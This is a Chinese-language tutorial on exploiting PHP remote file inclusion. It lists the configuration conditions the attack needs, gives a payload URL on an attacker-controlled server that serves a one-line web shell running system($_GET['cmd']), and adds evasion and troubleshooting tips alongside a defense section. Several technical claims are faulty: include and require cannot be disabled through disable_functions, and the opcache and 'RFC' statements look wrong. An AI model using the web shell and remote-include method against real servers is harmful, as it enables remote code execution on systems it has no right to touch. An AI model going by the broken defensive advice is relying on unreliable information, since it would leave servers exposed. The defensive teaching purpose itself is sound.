PHP远程文件包含(RFI)漏洞可导致远程代码执行,但必须同时满足三个条件:allow_url_include=On、allow_url_fopen=On(通常依赖)、服务器能出站访问攻击者可控地址。

PHP远程文件包含(RFI)漏洞能直接导致远程代码执行,但它的利用有明确前提——不是所有include都能打。关键不在函数本身,而在服务器配置和网络环境是否“开门放行”。
RFI能生效的三个硬性条件
缺一不可,否则payload再漂亮也无效:
- allow_url_include = On:这是最核心的开关。PHP默认关闭该选项,必须在php.ini中显式开启,否则任何http://、https://协议都会被直接拒绝。
- allow_url_fopen = On(通常需同时满足):虽然RFC文档未强制要求,但多数PHP版本下,allow_url_include依赖allow_url_fopen启用;若后者关闭,RFI大概率失败。
- 目标服务器可 outbound 访问攻击者控制的地址:服务器要能主动连通你的VPS或HTTP服务。内网隔离、防火墙策略、DNS限制、出站白名单都会拦住这一步。
常见RFI payload写法与注意事项
基础格式统一为:http://your-server.com/shell.txt,但实际使用要注意:
- shell.txt内容必须是合法PHP代码,例如
<?php system($_GET['cmd']); ?>,不能带HTML标签或BOM头。 - URL需完整且可访问,建议用
curl -v http://your-server.com/shell.txt在靶机同网络环境下手动验证连通性与响应体。 - 避免使用短链接、跳转域名或HTTPS(部分旧版PHP对SSL证书校验严格),优先用HTTP+IP直连。
- 如果目标禁用了
http://但开了https://,可改用HTTPS payload;反之亦然。
比禁用更有效的防御手段
光靠allow_url_include = Off是基础,但企业级防护需要多层兜底:
立即学习“PHP免费学习笔记(深入)”;
-
代码层强制白名单:不拼接用户输入,改用映射数组,例如
$pages = ['home' => 'home.php', 'about' => 'about.php']; include($pages[$_GET['page']] ?? 'home.php'); -
路径规范化+白名单后缀:用
realpath()解析路径后,检查是否落在预期目录内,且扩展名仅限.php或.inc等安全后缀。 -
运行时加固:在php.ini中同时设置
open_basedir限定可访问目录,配合disable_functions = include, require, include_once, require_once(慎用,可能影响正常逻辑)。 -
WAF规则补充:拦截含
http://、https://、ftp://等协议字符串的page/filename参数,尤其匹配?page=http%3A//这类编码变体。
为什么有些RFI看似成功却没回显?
常见于以下情况:
- 目标PHP版本高于7.4且启用了
opcache.enable=1,可能导致首次请求未执行、二次才生效;加sleep(1)或刷新重试可验证。 - Web服务器(如Nginx)配置了
fastcgi_buffering off以外的缓冲策略,导致PHP输出被截断;可在payload开头加@ini_set('output_buffering',0);绕过。 - 包含后脚本因语法错误终止,但include本身不报错(尤其是require_once误写成include_once);建议payload末尾加
die('loaded');确认是否加载成功。



















